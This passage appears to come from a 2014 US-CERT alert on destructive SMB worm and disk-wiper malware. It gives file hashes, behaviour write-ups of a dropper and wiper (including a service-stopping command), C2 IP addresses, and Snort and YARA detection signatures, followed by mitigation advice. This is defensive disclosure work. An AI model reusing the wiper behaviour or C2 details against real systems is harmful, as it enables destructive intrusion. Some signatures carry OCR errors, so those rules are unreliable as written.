Software for more information). +Keep your operating system and application software up-to-date + Install software patches so that attackers can't take advantage of known problems or +vulnerabilities. Many operating systems offer automatic updates. If this option is available, you should enable it (see Understanding Patches for more +information). +Review Security Tip Handling Destructive Malware #ST13-003 and evaluate their capabilities encompassing planning, preparation, detection, and response +for such an event. +Review Recommended Practices for Control Systems, and Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies (pdf). +The following is a list of the Indicators of Compromise (IOCs) that can be added to network security solutions to determine whether they are present on a network. +MD5s: +SMB worm tool: +MD5: f6f48551d7723d87daeef2e840ae008f +Characterization: File Hash Watchlist +Notes: "SMB worm tool" +Earliest PE compile Time: 20141001T072107Z +Most Recent PE compile Time: 20141001T072107Z +MD5: 194ae075bf53aa4c83e175d4fa1b9d89 +Characterization: File Hash Watchlist +Notes: "SMB worm tool" +Earliest PE compile Time: 20141001T120954Z +Most Recent PE compile Time: 20141001T142138Z +Lightweight backdoor: +MD5: f57e6156907dc0f6f4c9e2c5a792df48 +Characterization: File Hash Watchlist +Notes: "Lightweight backdoor" +Earliest PE compile time: 20110411T225224Z +Latest PE compile time: 20110411T225224Z +MD5: 838e57492f632da79dcd5aa47b23f8a9 +Characterization: File Hash Watchlist +Notes: "Lightweight backdoor" +Earliest PE compile time: 20110517T050015Z +Latest PE compile time: 20110605T204508Z +MD5: 11c9374cea03c3b2ca190b9a0fd2816b +Characterization: File Hash Watchlist +Notes: "Lightweight backdoor" +Earliest PE compile time: 20110729T062417Z +Latest PE compile time: 20110729T062958Z +MD5: 7fb0441a08690d4530d2275d4d7eb351 +Characterization: File Hash Watchlist +Notes: "Lightweight backdoor" +Earliest PE compile time: 20120128T071327Z +Latest PE compile time: 20120128T071327Z +MD5: 7759c7d2c6d49c8b0591a3a7270a44da +Characterization: File Hash Watchlist +Notes: "Lightweight backdoor" +Earliest PE compile time: 20120309T105837Z +Latest PE compile time: 20120309T105837Z +MD5: 7e48d5ba6e6314c46550ad226f2b3c67 +Characterization: File Hash Watchlist +Notes: "Lightweight backdoor" +Earliest PE compile time: 20120311T090329Z +Latest PE compile time: 20120311T090329Z +MD5: 0a87c6f29f34a09acecce7f516cc7fdb +Characterization: File Hash Watchlist +Notes: "Lightweight backdoor" +Earliest PE compile time: 20120325T053138Z +Latest PE compile time: 20130513T090422Z +MD5: 25fb1e131f282fa25a4b0dec6007a0ce +Characterization: File Hash Watchlist +Notes: "Lightweight backdoor" +Earliest PE compile time: 20130802T054822Z +Latest PE compile time: 20130802T054822Z +MD5: 9761dd113e7e6673b94ab4b3ad552086 +Characterization: File Hash Watchlist +Notes: "Lightweight backdoor" +Earliest PE compile time: 20130913T013016Z +Latest PE compile time: 20130913T013016Z +MD5: c905a30badb458655009799b1274205c +Characterization: File Hash Watchlist +Notes: "Lightweight backdoor" +Earliest PE compile time: 20140205T090906Z +Latest PE compile time: 20140205T090906Z +MD5: 40adcd738c5bdc5e1cc3ab9a48b3df39 +Characterization: File Hash Watchlist +Notes: "Lightweight backdoor" +Earliest PE compile time: 20140320T152637Z +Latest PE compile time: 20140402T023748Z +MD5: 68a26b8eaf2011f16a58e4554ea576a1 +Characterization: File Hash Watchlist +Notes: "Lightweight backdoor" +Earliest PE compile time: 20140321T014949Z +Latest PE compile time: 20140321T014949Z +MD5: 74982cd1f3be3d0acfb0e6df22dbcd67 +Characterization: File Hash Watchlist +Notes: "Lightweight backdoor" +Earliest PE compile time: 20140506T020330Z +Latest PE compile time: 20140506T020330Z +Proxy tool: +MD5: 734740b16053ccc555686814a93dfbeb +Characterization: File Hash Watchlist +Notes: "Proxy tool" +Earliest PE compile time: 20140611T064905Z +Latest PE compile time: 20140611T064905Z +MD5: 3b9da603992d8001c1322474aac25f87 +Characterization: File Hash Watchlist +Notes: "Proxy tool" +Earliest PE compile time: 20140617T035143Z +Latest PE compile time: 20140617T035143Z +MD5: e509881b34a86a4e2b24449cf386af6a +Characterization: File Hash Watchlist +Notes: "Proxy tool" +Earliest PE compile time : 20140618T064527Z +Latest PE compile time: 20140618T064527Z +MD5: 9ab7f2bf638c9d911c2c742a574db89e +Characterization: File Hash Watchlist +Notes: "Proxy tool" +Earliest PE compile time: 20140724T011233Z +Latest PE compile time: 20140724T011233Z +MD5: a565e8c853b8325ad98f1fac9c40fb88 +Characterization: File Hash Watchlist +Notes: "Proxy tool" +Earliest PE compile time: 20140724T065031Z +Latest PE compile time: 20140902T135050Z +MD5: 0bb82def661dd013a1866f779b455cf3 +Characterization: File Hash Watchlist +Notes: "Proxy tool" +Earliest PE compile time: 20140819T024812Z +Latest PE compile time: 20140819T024812Z +MD5: b8ffff8b57586d24e1e65cd0b0ad9173 +Characterization: File Hash Watchlist +Notes: "Proxy tool" +Earliest PE compile time: 20140902T172442Z +Latest PE compile time: 20140902T172442Z +MD5: 4ef0ad7ad4fe3ef4fb3db02cd82bface +Characterization: File Hash Watchlist +Notes: "Proxy tool" +Earliest PE compile time: 20141024T134136Z +Latest PE compile time: 20141024T134136Z +MD5: eb435e86604abced7c4a2b11c4637a52 +Characterization: File Hash Watchlist +Notes: "Proxy tool" +Earliest PE compile time: 20140526T010925Z +Latest PE compile time: 20140526T010925Z +MD5: ed7a9c6d9fc664afe2de2dd165a9338c +Characterization: File Hash Watchlist +Notes: "Proxy tool" +Earliest PE compile time: 20140611T064904Z +Destructive hard drive tool: +MD5: 8dec36d7f5e6cbd5e06775771351c54e +Characterization: File Hash Watchlist +Notes: "Destructive hard drive tool" +Earliest PE compile time: 20120507T151820Z +Latest PE compile time: 20120507T151820Z +MD5: a385900a36cad1c6a2022f31e8aca9f7 +Characterization: File Hash Watchlist +Notes: "Destructive target cleaning tool" +Earliest PE compile time: 20130318T003315Z +Latest PE compile time: 20130318T003315Z +MD5: 7bea4323807f7e8cf53776e24cbd71f1 +Characterization: File Hash Watchlist +Notes: "Destructive target cleaning tool" +Earliest PE compile time: 20130318T003319Z +Latest PE compile time: 20130318T003319Z +Name: d1c27ee7ce18675974edf42d4eea25c6.bin +Size: 268579 bytes (268.6 KB) +MD5: D1C27EE7CE18675974EDF42D4EEA25C6 +PE Compile Time: 2014-11-22 00:06:54 +The malware has the following characteristics: +While the original filename of this file is unknown, it was likely +diskpartmg16.exe +. This file serves as a dropper. It drops destructive malware: +igfxtrayex.exe +When the dropper file was executed, it started a second instance of itself with + as an argument, and then terminated. The second instance of the dropper file +installed itself as the +WinsSchMgmt + service with + as a command line argument, started the service, and then terminated. The +WinsSchMgmt + service +executed the file with + as an argument, which started another instance of the file using + as an argument. The + instance dropped and executed +igfxtrayex.exe +, created +net_ver.dat +, and began generating network traffic over TCP ports 445 and 139 to victim IP addresses. +Name: net_ver.dat +Size: 4572 bytes (4.6 KB) (size will vary) +MD5: 93BC819011B2B3DA8487F964F29EB934 (hash will vary) +This is a log file created by the dropper, and appended to as the scans progress It contains what appear to be hostnames, IP addresses, and the number 2. +Entries in the file have the structure +HOSTNAME | IP Address | 2 +Name: igfxtrayex.exe +Size: 249856 bytes (249.9 KB) +MD5: 760C35A80D758F032D02CF4DB12D3E55 +PE Compile Time: 2014-11-24 04:11:08 +This file is destructive malware: a disk wiper with network beacon capabilities. If +igfxtrayex.exe + is run with no parameters, it creates and starts a copy of itself with +the + argument. After 10 minutes, the +igfxtrayex.exe + makes three copies of itself and places them in the same directory from which it was executed. These +copies are named according to the format +taskhostXX.exe + (where X is a randomly generated ASCII character). These copies are then executed, each with a +different argument (one being +, one being + and the other +). Network connection attempts are made to one of three hard-coded IP addresses in a random +order to port 8080 or 8000. If a connection to the IP address cannot be made, it attempts to connect to another of the three IP addresses, until connections to all +three IP addresses have been attempted. The following command-line string is then executed: +cmd.exe /c net stop MSExchangeIS /y +. A 120-minute (2 hour) +sleep command is issued after which the computer is shut down and rebooted. +Name: iissvr.exe +Size: 114688 bytes (114.7 KB) +MD5: E1864A55D5CCB76AF4BF7A0AE16279BA +PE Compile Time: 2014-11-13 02:05:35 +This file, when executed, starts a listener on localhost port 80. It has 3 files contained in the resource section; all xor +d with 0x63. +Name: usbdrv3_32bit.sys +Size: 24280 bytes (24.3 KB) +MD5: 6AEAC618E29980B69721158044C2E544 +PE Compile Time: 2009-08-21 06:05:32 +This SYS file is a commercially available tool that allows read/write access to files and raw disk sectors for user mode applications in Windows 2000, XP, 2003, +Vista, 2008 (32-bit). It is dropped from resource ID 0x81 of +igfxtrayex.exe +Name: usbdrv3_64bit.sys +Size: 28120 bytes (28.1 KB) +MD5: 86E212B7FC20FC406C692400294073FF +PE Compile Time: 2009-08-21 06:05:35 +This SYS file is a also a commercially available tool that allows read/write access to files and raw disk sectors for user mode applications in Windows 2000, XP, +2003, Vista, 2008 (64-bit). It is dropped from resource ID 0x83 of +igfxtrayex.exe +Name: igfxtpers.exe +Size: 91888 bytes (91.9 KB) +MD5: e904bf93403c0fb08b9683a9e858c73e +PE Compile Time: 2014-07-07 08:01:09 +A summary of the C2 IP addresses: +IP Address +203.131.222.102 +Country +Thailand +Port +8080 +217.96.33.164 +Poland +8000 +88.53.215.64 +Italy +8000 +200.87.126.116 +58.185.154.99 +212.31.102.100 +208.105.226.235 +Bolivia +Singapore +Cypress +United States +8000 +8080 +8080 +Snort signatures: +SMB Worm Tool (not necessarily the tool itself): +Filename +Diskpartmg16.exe +igfxtrayex.exe +igfxtpers.exe +Diskpartmg16.exe +igfxtrayex.exe +Diskpartmg16.exe +igfxtrayex.exe +File 7 +File 7 +File 7 +igfxtpers.exe +alert tcp any any -> any any (msg:"Wiper1";content:"|be 64 ba f2 a8 64|";offset:16;depth:6;sid:1;) +alert tcp any any -> any any (msg:"Wiper2";content:"|c9 06 d9 96 fc 37 23 5a fe f9 40 ba 4c 94 14 98|";offset:0;depth:16;sid:3;) +alert tcp any any -> any any (msg:"Wiper3";content:"|aa 64 ba f2 56 9b|";offset:0;depth:50;sid:2;) +alert ip any any -> any any (msg:"Wiper4";content:"|aa 74 ba f2 b9 75|";offset:0;depth:74;sid:4;) +Listening Implant: +alert tcp any any -> any any (msg:"Backdoor1";content:"|0c 1f 1f 1f 4d 5a 4c 4f 50 51 4c 5a 3f 2d 2f 2f 3f 50 54 3e 3e 3e|";offset:0;depth:22;sid:9;) +alert tcp any any -> any any (msg:"Backdoor2";content:"|d3 c4 d2 d1 ce cf d2 c4 a1 b3 b1 b1 a1 ce ca a0 a0 a0|";offset:0;depth:18;sid:12;) +alert ip any any -> any any (msg:"Backdoor3";content:"|17 08 14 13 67 0f 13 13 17 67 15 02 16 12 02 14 13 78 47 47|";depth:24;sid:1;) +alert ip any any -> any any (msg:"Backdoor4";content:"|4f 50 4c 4b 3f 57 4b 4b 4f 3f 4d 5a 4e 4a 5a 4c 4b 20 1f|";depth:23;sid:2;) +alert ip any any -> any any (msg:"Backdoor5";content:"|15 02 14 17 08 09 14 02 67 75 77 77 67 08 0c 66 66 66|";depth:22;sid:3;) +alert tcp any any -> any any (msg:"Backdoor6";content:"|09 22 33 30 28 35 2c|";sid:4;) +alert tcp any any -> any any (msg:"Backdoor7";content:"|13 2f 22 35 22 67 26 35 22 29 27 33 67 28 37 22 29 67 37 28 35 33 34 69|";sid:5;) +alert tcp any any -> any any (msg:"Backdoor8";content:"|43 47 47 47 45 67 47 47 43 47 47 47 44 67 47 47|";sid:6;) +alert tcp any any -> any any (msg:"Backdoor9";content:"|43 47 47 47 42 67 47 47 43 47 47 47 4f 67 47 47 43 47 47 47 43 67 47 47 43 47 47 47 4e 67 47 +47|";sid:7;) +alert tcp any any -> any any (msg:"Backdoor10";content:"|d1 ce d2 d5 a1 c9 d5 d5 d1 a1 d3 c4 d0 d4 c4 d2 d5 be|";offset:0;depth:18;sid:8;) +alert tcp any any -> any any (msg:"Backdoor11";content:"|17 08 14 13 67 0f 13 13 17 67 15 02 16 12 02 14 13 78|";offset:0;depth:18;sid:10;) +alert tcp any any -> any any (msg:"Backdoor12";content:"|0c 1f 1f 1f 4f 50 4c 4b 3f 57 4b 4b 4f 3f 4d 5a 4e 4a 5a 4c 4b 20|";sid:11;) +Lightweight Backdoor: +alert tcp any 488 <> any any (msg:"Proxy1";content:"|60 db 37 37 37 37 37 37|";sid:3;) +alert tcp any any -> any 488 (msg:"Proxy2";content:"|60 db 37 37 37 37 37 37|";sid:4;) +alert tcp any any -> any any (msg:"Proxy3";content:"|4c 4c|";offset:16;depth:2;content:"|75 14 2a 2a|";distance:4;within:4;sid:4;) +alert tcp any any -> any any (msg:"Proxy4";content:"|8A 10 80 C2 67 80 F2 24 88 10|";content:"8A 10 80 F2 24 80 EA 67 88 10";sid:2;) +alert tcp any 488 <> any any (msg:"Proxy5";content:"|65 db 37 37 37 37 37 37|";sid:2;) +alert tcp any any -> any 488 (msg:"Proxy6";content:"|65 db 37 37 37 37 37 37|";sid:2;) +alert tcp any [547,8080,133,117,189,159] -> any any (msg:"Proxy7";content:"|7b 08 2a 2a|";offset:17;content:"|08 2a 2a 01 00|";distance:0;sid:1;) +alert tcp any any -> any any (msg:"Proxy8";content:"|8A 10 80 EA 62 80 F2 B4 88 10|";content:"|8A 10 80 F2 B4 80 C2 62 88 10|";sid:1;) +alert tcp any any -> any any (msg:"Proxy9";content:"|8A 10 80 C2 4E 80 F2 79 88 10|";content:"|8A 10 80 F2 79 80 EA 4E 88 10[";sid:3;) +alert tcp any any -> any any (msg:"Proxy10";content:"Sleepy!@#qaz13402scvsde890";nocase;content:"BC435@PRO62384923412!@3!";nocase;sid:5;) +Proxy Tool: +alert tcp any any -> any any (msg:"Wiper1";content:"|8A 10 80 C2 3A 80 F2 73 88 10|";content:"|8A 10 80 F2 73 80 EA 3A 88 10|";sid:4;) +alert tcp any any -> any any (msg:"Wiper2";content:!"HTTP/1";content:"|e2 1d 49 49|";offset:O;depth:4;content:"|49 49 49 49|";distance:4;within:4;sid:6;) +alert tcp any any -> any any (msg:"Wiper3";content:"|82 F4 DE D4 D3 C2 CA F5 C8 C8 D3 82 FB F4 DE D4 D3 C2 CA 94 95 FB D4 D1 C4 CF C8 D4 D3 89 C2 +DF C2 87 8A CC 87 00|";sid:1;) +Malware associated with the cyber threat actor: +alert tcp any any -> any [8000,8080] (msg:"WIPER4";flow: established, to_server;dsize:42;content:"|28 00|";depth:2;content:"|04 00 00 +00|";offset:38;depth:4;sid:123;) +Host Based Indicators +Below are potential YARA signatures to detect malware binaries on host machines: +SMB Worm Tool: +strings: +$STR1 = "Global\\FwtSqmSession106829323_S-1-5-19" +$STR2 ="EVERYONE" +$STR3 = "y0uar3@s!llyid!07,ou74n60u7f001" +$STR4 = "\\KB25468.dat" condition: +(uintl6(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) ==0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them +Lightweight Backdoor: +strings: +$STR1 = ''NetMgStart" +$STR2 = ''Netmgmt.srg" +condition: +(uint16(0) == 0x5A4D) and all of them +Lightweight Backdoor: +strings: +$STR1 = "prxTroy" ascii wide nocase +condition: +(uintl6(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them +Lightweight Backdoor: +strings: +$strl = { C6 45 E8 64 C6 45 E9 61 C6 45 EA 79 C6 45 EB 69 C6 45 EC 70 C6 45 ED 6D C6 45 EE 72 C6 45 EF 2E C6 45 F0 74 C6 45 F1 62 C6 45 F2 6C } // +'dayipmr.tbl' being moved to ebp +condition: +(uintl6(0) == 0x5A4D or uintl6(0) == 0xCFD0 or uint16(0) == 0xC3D4 or +uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them +Lightweight Backdoor: +strings: +$strl = { C6 45 F4 61 C6 45 F5 6E C6 45 F6 73 C6 45 F7 69 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73 } // 'ansi.nls' being moved to ebp +condition: +(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or +uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them +Lightweight Backdoor: +strings: +$strl = { C6 45 F4 74 C6 45 F5 6C C6 45 F6 76 C6 45 F7 63 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73 } // 'tlvc.nls' being moved to ebp +condition: +(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them +Lightweight Backdoor: +strings: +$STR1 = { 8A 10 80 ?? 4E 80 ?? 79 88 10} +$STR2 = {SA 10 80?? 79 80 ?? 4E 88 10} +condition: +(uintl6(0) == 0x5A4D or uintl6(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them +Proxy Tool: +strings: +$STR1 = "pmsconfig.msi" wide +$STR2 = "pmslog.msi" wide +condition: +(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them +Proxy Tool: +strings: +$STR1 = { 82 F4 DE D4 D3 C2 CA F5 C8 C8 D3 82 FB F4 DE D4 D3 C2 CA 94 95 FB D4 Dl C4 CF C8 D4 D3 89 C2 DF C2 87 8A CC 87 00 } // +'%SystemRoot%\System32\svchost.exe -k' xor A7 +condition: +(uint16(0) == 0x5A4D or uintl6(0) == 0xCFD0 or uint16(0) == 0xC3D4 or +uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them +Proxy Tool: +strings: +$STR2 = {8A 04 17 8B FB 34 A7 46 88 02 83 C9 FF} +condition: +(uintl6(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and $STR2 +Destructive Hard Drive Tool: +strings: +$str0= "MZ" +$str1 = {c6 84 24 ?? ( 00 | 01 ) 00 00 } +$xorInLoop = { 83 EC 20 B9 08 00 00 00 33 D2 56 8B 74 24 30 57 8D 7C 24 08 +F3 A5 8B 7C 24 30 85 FF 7E 3A 8B 74 24 2C 8A 44 24 08 53 8A 4C 24 21 8A 5C 24 2B 32 C1 8A 0C 32 32 C3 32 C8 88 0C 32 B9 1E 00 00 00 8A 5C 0C 0C 88 +5C 0C 0D 49 83 F9 FF 7F F2 42 88 44 24 0C 3B D7 7C D0 5B 5F 5E 83 C4 20 C3 } +condition: +$str0 at 0 and $xorInLoop and #str1 > 300 +Destructive Target Cleaning Tool: +strings: +$s1 = {d3000000 [4] 2c000000 [12] 95000000 [4] 6a000000 [8] 07000000} +condition: +(uintl6(0) == 0x5A4D and uintl6(uint32(0x3c)) == 0x4550) and all of them +Destructive Target Cleaning Tool: +strings +$secureWipe= { 83 EC 34 53 55 8B 6C 24 40 56 57 83 CE FF 55 C7 44 24 2C D3 00 00 00 C7 44 24 30 2C 00 00 00 89 74 24 34 89 74 24 38 C7 44 24 3C 95 00 +00 00 C7 44 24 40 6A 00 00 00 89 74 24 44 C7 44 24 14 07 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 89 44 24 1C OF 84 (D8 | d9) 01 00 00 33 FF 68 00 00 01 00 57 FF +15 ?? ?? ?? ?? 8B D8 3B DF 89 5C 24 14 OF 84 (BC | BD) 01 00 00 8B 44 24 1C A8 01 74 0A 24 FE 50 55 FF 15 ?? ?? ?? ?? 8B 44 24 4C 2B C7 74 20 48 74 0F +83 E8 02 75 1C C7 44 24 10 03 00 00 00 EB 12 C7 44 24 10 01 00 00 00 89 74 24 28 EB 04 89 7C 24 10 8B 44 24 10 89 7C 24 1C 3B C7 OF 8E ( 5C | 5d ) 01 00 +00 8D 44 24 28 89 44 24 4C EB 03 83 CE FF 8B 4C 24 4C 8B 01 3B C6 74 17 8A D0 B9 00 40 00 00 8A F2 8B FB 8B C2 C1 E0 10 66 8B C2 F3 AB EB ( 13 | 14) +33 F6 (E8 | ff 15) ?? ?? ?? ?? 88 04 1E 46 81 FE 00 00 01 00 7C ( EF | ee) 6A 00 6A 00 6A 03 6A 00 6A 03 68 00 00 00 C0 55 FF 15 ?? ?? ?? ?? 8B F0 83 FE FF +OF 84 FA 00 00 00 8D 44 24 20 50 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 6A 02 6A 00 6A FF 56 FF D5 8D 4C 24 18 6A 00 51 6A 01 53 56 FF 15 ?? ?? ?? ?? +56 FF 15 ?? ?? ?? ?? 6A 00 6A 00 6A 00 56 FF D5 8B 44 24 24 8B 54 24 20 33 FF 33 DB 85 CO 7C 5A 7F 0A 85 D2 76 54 EB 04 8B 54 24 20 8B CA BD 00 00 +01 00 2B CF 1B C3 85 C0 7F 0A 7C 04 3B CD 73 04 2B D7 8B EA 8B 44 24 14 8D 54 24 18 6A 00 52 55 50 56 FF 15 ?? ?? ?? ?? 8B 6C 24 18 8B 44 24 24 03 +FD 83 D3 00 3B D8 7C BE 7F 08 8B 54 24 20 3B FA 72 B8 8B 2D ?? ?? ?? ?? 8B 5C 24 10 8B 7C 24 1C 8D 4B FF 3B F9 75 17 56 FF 15 ?? ?? ?? ?? 6A 00 6A +00 6A 00 56 FF D5 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 4C 24 4C 8B 6C 24 48 47 83 C1 04 3B FB 8B 5C 24 14 89 7C 24 1C 89 +4C 24 4C 0F 8C ( AE | AD) FE FF FF 6A 00 55 E8 ?? ?? ?? ?? 83 C4 08 53 FF 15 ?? ?? ?? ?? 5F 5E 5D 5B 83 C4 34 C3} +condition: +$secureWipe +Destructive Target Cleaning Tool: +strings: +$S1_CMD_Arg = ""/install'"' fullword +$S2_CMD_Parse= ""\""%s'"' /install \""%s\""'"' fullword +$S3_CMD_Builder= ""\'"'%s\"" \""%s\'"' \""%s\'"' %s'"' fullword +condition: +all of them +Destructive Target Cleaning Tool: +strings: +$BATCH_SCRIPT_LN1_0 = ""goto x"" fullword +$BATCH_SCRIPT_LN1_1 = '"'del"" fullword +$BATCH_SCRIPT_LN2_0 = ""if exist"" fullword +$BATCH_SCRIPT_LN3_0 = "":x'"' fullword +$BATCH_SCRIPT_LN4_0 = ""zz%d.bat"'' fullword +condition: +(#BATCH_SCRIPT_LNl_l == 2) and all of them" +Destructive Target Cleaning Tool: +strings: +$MCU_DLL_ZLIB_COMPRESSED2= +{5CECABAE813CC9BCD5A542F454910428343479806F71D5521E2AOD} +condition: +$MCU_DLL_ZLIB_COMPRESSED2" +Destructive Target Cleaning Tool: +strings: +$MCU_INF_StartHexDec = +{010346080A30D63633000B6263750A5052322A00103D1B570A30E67F2A00130952690A50 3A0D2A000E00A26El5104556766572636C7669642E657865} +$MCU_INF_StartHexEnc = +{6C3272386958BF075230780A0A54676166024968790C7A6779588F5E47312739310163615B3D59686721CF5F2120263ElF5413531FlE004543544C55} +condition: +$MCU_INF_StartHexEnc or +$MCU_INF_StartHexDec +Destructive Target Cleaning Tool: +strings: +$ = "SetFilePointer" +$ = "SetEndOfFile" +$ = {75 17 56 ff 15 ?? ?? ?? ?? 6a 00 6a 00 6a 00 56 ffD5 56 ff 15?? ?? ?? +?? 56} +condition: +(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them +Destructive Target Cleaning Tool: +strings: +$license= +{E903FFFF820050006F007200740069006F006E007300200063006F007000790072006900670068007400200052006F006200650072007400200064006500200042006100740068002C00 +$PuTTY= {50007500540054005900} +condition: +(uint16(0) == 0x5A4D and uintl6(uint32(0x3c)) == 0x4550) and $license and not $PuTTY +Malware used by cyber threat actor: +strings: +$heapCreateFunction_0 = {33C06A003944240868001000000F94C050FF15????????85C0A3???????07436E893FEFFFF83F803A3??????? +0750D68F8030000E8??00000059EB0A83F8027518E8????000085C0750FFF35???????0FF15???????033C0C36A0158C3} +$heapCreateFunction = +{558BECB82C120000E8????FFFF8D8568FFFFFF5350C78568FFFFFF94000000FF1???????? +085C0741A83BD78FFFFFF02751183BD6CFFFFFF0572086A0158E9020100008D85D4EDFFF68901000005068???????0FF15??????? +085C00F84D000000033DB8D8DD4EDFFFF389DD4EDFFFF74138A013C617C083C7A7F042C20880141381975ED8D85D4EDFFFF6A165068???????0E8???? +000083C40C85C075088D85D4EDFFFFEB498D8564FEFFFF68040100005053FF15??????? +0389D64FEFFFF8D8D64FEFFFF74138A013C617C083C7A7F042C20880141381975ED8D8564FEFFFF508D85D4EDFFFF50E8???????? +59593BC3743E6A2C50E8????????593BC3597430408BC83818740E80393B75048819EB0141381975F26A0A5350E8???? +000083C40C83F802741D83F803741883F80174138D45FC50E898FEFFFF807DFC06591BC083C0035BC9C3} +$getMajorMinorLinker = +{568B7424086A00832600FF15???????06681384D5A75148B483C85C9740D03C18A481A880E8A401B8846015EC3} +$openServiceManager = +{FF15???0?0?08B?885??74????????????????5?FF15???0?0?08B?????0?0?08BF?85F?74} +condition: +all of them +Malware used by cyber threat actor: +strings: +$str1 = "_quit" +$str2 = "_exe" +$str3 = "_put" +$str4 = "_got" +$str5 = "_get" +$str6 ="_del" +$str7 = "_dir" +$str8 = { C7 44 24 18 1F F7} +condition: +(uintl6(0) == 0x5A4D or uintl6(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them +Malware used by cyber threat actor: +strings: +$STR1 = { 50 68 80 00 00 00 68 FF FF 00 00 51 C7 44 24 1C 3a 8b 00 00 } +condition: +(uintl6(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them +Recommended Security Practices +Because of the highly destructive functionality of the malware, an organization infected with the malware could experience operational impacts including loss of +intellectual property (IP) and disruption of critical systems. Actual impact to organizations may vary depending on the type and number of systems impacted. +Tactical Mitigations +Implement the indicators of compromise within your systems for detection and mitigation purposes. +Encourage users to transfer critical files to network shares, to allow for central backed up. +Execute daily backups of all critical systems. +Periodically execute an +offline + backup of critical files to removable media. +Establish emergency communications plans should network resources become unavailable. +Isolate any critical networks (including operations networks) from business systems. +Identify critical systems and evaluate the need for having on-hand spares to quickly restore service. +Ensure antivirus is up to date. +Disable credential caching for all desktop devices with particular importance on critical systems such as servers and restrict the number of cached credential +for all portable devices to no more than three if possible. This can be accomplished through a Group Policy Object (GPO). +Disable AutoRun and Autoplay for any removable media device. +Prevent or limit the use of all removable media devices on systems to limit the spread or introduction of malicious software and possible exfiltration data, +except where there is a valid business case for use. This business case must be approved by the organization Chief IT Security Officer, with policy/guidance +on how such media should be used. +Consider restricting account privileges. It is our recommendation that all daily operations should be executed using standard user accounts unless +administrative privileges are required for that specific function. Configure all standard user accounts to prevent the execution and installation of any unknown +or unauthorized software. Both standard and administrative accounts should have access only to services required for nominal daily duties, enforcing the +concept of separation of duties. Lastly, disable Web and email capabilities on administrative accounts. Compromise of admin accounts is one vector that +allows malicious activity to become truly persistent in a network environment. +Ensure that password policy rules are enforced and Admin password values are changed periodically. +Consider prohibiting hosts within the production environment or DMZ from sharing an Active Directory enterprise with hosts on other networks. Each +environment should have separate forests within Active Directory, with no trust relationships allowed between the forests if at all possible. If necessary, the +trust relationships should be one-way with the low integrity environment trusting the higher integrity environment. +Consider deployment of a coaching page with click through acceptance; these are traditionally deployed in an environment to log the acceptance of network +acceptable use policy or to notify users of monitoring. Coaching pages also provide some measure of protection from automated malicious activity. This +occurs because automated malware is normally incapable of physically clicking an acceptance radial button. Automated malware is traditionally hardcoded to +execute, then retrieve commands or additional executables from the Internet. If the malware is unable to initiate an active connection, the full train of infection +is potentially halted. The danger still exists that the physical user will authorize access, but through the use of coaching pages, infections can be limited or at +least the rate of infection reduced. +Monitor logs -- Maintain and actively monitor a centralized logging solution that keeps track of all anomalous and potentially malicious activity. +Ensure that all network operating systems, web browsers, and other related network hardware and software remain updated with all current patches and +fixes. +Strategic Mitigations +Organizations should review Security Tip Handling Destructive Malware #ST13-003 and evaluate their capabilities encompassing planning, preparation, +detection, and response for such an event. +Always keep your patch levels up to date, especially on computers that host public services accessible through the firewall, such as HTTP, FTP, mail, and +DNS services. +Build host systems, especially critical systems such as servers, with only essential applications and components required to perform the intended function. +Any unused applications or functions should be removed or disabled, if possible, to limit the attack surface of the host. +Implement network segmentation through V-LANs to limit the spread of malware. +Consider the deployment of Software Restriction Policy set to only allow the execution of approved software (application whitelisting) +Recommend the whitelisting of legitimate executable directories to prevent the execution of potentially malicious binaries. +Consider the use of two-factor authentication methods for accessing privileged root level accounts or systems. +Consider deploying a two-factor authentication through a hardened IPsec/VPN gateway with split-tunneling prohibited for secure remote access. +Deny direct Internet access, except through the use of proxies for Enterprise servers and workstations. Perform regular content filtering at the proxies or +external firewall points of presence. Also consider the deployment of an explicit versus transparent proxy policy. +Implement a Secure Socket Layer (SSL) inspection capability to inspect both ingress and egress encrypted network traffic for potential malicious activity. +Isolate network services, such as email and Web application servers by utilizing a secure multi-tenant virtualization technology. This will limit the damage +sustained from a compromise or attack of a single network component. +Implement best practice guidance and policy to restrict the use of non-Foundation assets for processing or accessing Foundation-controlled data or systems +(e.g., working from home, or using a personal device while at the office). It is difficult to enforce corporate policies, detect intrusions, and conduct forensic +analysis or remediate compromises on non-corporate owned devices. +Minimize network exposure for all control system devices. Control system devices should not directly face the Internet. +Place control system networks behind firewalls, and isolate or air gap them from the business network. +When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPN is only as secure as the connected +devices. +Industrial Control System (ICS)-CERT and US-CERT remind organizations to perform proper impact analysis and risk assessment prior to taking defensive +measures. +References +Revisions +December 19, 2014: Initial Release +This product is provided subject to this Notification and 